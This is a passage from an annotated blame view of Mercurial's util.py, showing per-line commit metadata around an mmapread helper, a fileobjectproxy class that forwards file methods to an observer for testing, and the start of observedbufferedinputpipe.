Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
383 self._buffer.append(data) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
384 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
385 return data |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
386 |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
387 def mmapread(fp): |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
388 try: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
389 fd = getattr(fp, 'fileno', lambda: fp)() |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
390 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
391 except ValueError: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
392 # Empty files cannot be mmapped, but mmapread should still work. Check |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
393 # if the file is empty, and if so, return an empty buffer. |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
394 if os.fstat(fd).st_size == 0: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
395 return '' |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
396 raise |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
397 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
398 class fileobjectproxy(object): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
399 """A proxy around file objects that tells a watcher when events occur. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
400 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
401 This type is intended to only be used for testing purposes. Think hard |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
402 before using it in important code. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
403 """ |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
404 __slots__ = ( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
405 r'_orig', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
406 r'_observer', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
407 ) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
408 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
409 def __init__(self, fh, observer): |
36584
f5427483eebe
util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents:
36551
diff
changeset
|
410 object.__setattr__(self, r'_orig', fh) |
f5427483eebe
util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents:
36551
diff
changeset
|
411 object.__setattr__(self, r'_observer', observer) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
412 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
413 def __getattribute__(self, name): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
414 ours = { |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
415 r'_observer', |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
416 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
417 # IOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
418 r'close', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
419 # closed if a property |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
420 r'fileno', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
421 r'flush', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
422 r'isatty', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
423 r'readable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
424 r'readline', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
425 r'readlines', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
426 r'seek', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
427 r'seekable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
428 r'tell', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
429 r'truncate', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
430 r'writable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
431 r'writelines', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
432 # RawIOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
433 r'read', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
434 r'readall', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
435 r'readinto', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
436 r'write', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
437 # BufferedIOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
438 # raw is a property |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
439 r'detach', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
440 # read defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
441 r'read1', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
442 # readinto defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
443 # write defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
444 } |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
445 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
446 # We only observe some methods. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
447 if name in ours: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
448 return object.__getattribute__(self, name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
449 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
450 return getattr(object.__getattribute__(self, r'_orig'), name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
451 |
36832
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
452 def __nonzero__(self): |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
453 return bool(object.__getattribute__(self, r'_orig')) |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
454 |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
455 __bool__ = __nonzero__ |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
456 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
457 def __delattr__(self, name): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
458 return delattr(object.__getattribute__(self, r'_orig'), name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
459 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
460 def __setattr__(self, name, value): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
461 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
462 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
463 def __iter__(self): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
464 return object.__getattribute__(self, r'_orig').__iter__() |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
465 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
466 def _observedcall(self, name, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
467 # Call the original object. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
468 orig = object.__getattribute__(self, r'_orig') |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
469 res = getattr(orig, name)(*args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
470 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
471 # Call a method on the observer of the same name with arguments |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
472 # so it can react, log, etc. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
473 observer = object.__getattribute__(self, r'_observer') |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
474 fn = getattr(observer, name, None) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
475 if fn: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
476 fn(res, *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
477 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
478 return res |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
479 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
480 def close(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
481 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
482 r'close', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
483 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
484 def fileno(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
485 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
486 r'fileno', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
487 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
488 def flush(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
489 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
490 r'flush', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
491 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
492 def isatty(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
493 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
494 r'isatty', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
495 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
496 def readable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
497 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
498 r'readable', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
499 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
500 def readline(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
501 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
502 r'readline', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
503 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
504 def readlines(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
505 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
506 r'readlines', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
507 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
508 def seek(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
509 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
510 r'seek', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
511 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
512 def seekable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
513 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
514 r'seekable', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
515 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
516 def tell(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
517 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
518 r'tell', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
519 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
520 def truncate(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
521 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
522 r'truncate', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
523 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
524 def writable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
525 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
526 r'writable', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
527 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
528 def writelines(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
529 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
530 r'writelines', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
531 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
532 def read(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
533 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
534 r'read', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
535 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
536 def readall(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
537 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
538 r'readall', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
539 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
540 def readinto(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
541 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
542 r'readinto', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
543 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
544 def write(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
545 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
546 r'write', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
547 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
548 def detach(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
549 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
550 r'detach', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
551 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
552 def read1(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
553 return object.__getattribute__(self, r'_observedcall')( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
554 r'read1', *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
555 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
556 class observedbufferedinputpipe(bufferedinputpipe): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
557 """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
558 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
559 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
560 bypass ``fileobjectproxy``. Because of this, we need to make |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
561 ``bufferedinputpipe`` aware of these operations. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
562 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
563 This variation of ``bufferedinputpipe`` can notify observers about |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
564 ``os.read()`` events. It also re-publishes other events, such as |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
565 ``read()`` and ``readline()``. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
566 """ |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
567 def _fillbuffer(self): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
568 res = super(observedbufferedinputpipe, self)._fillbuffer() |
3158052720ae
util: enable observing of util.bufferedinputpipe
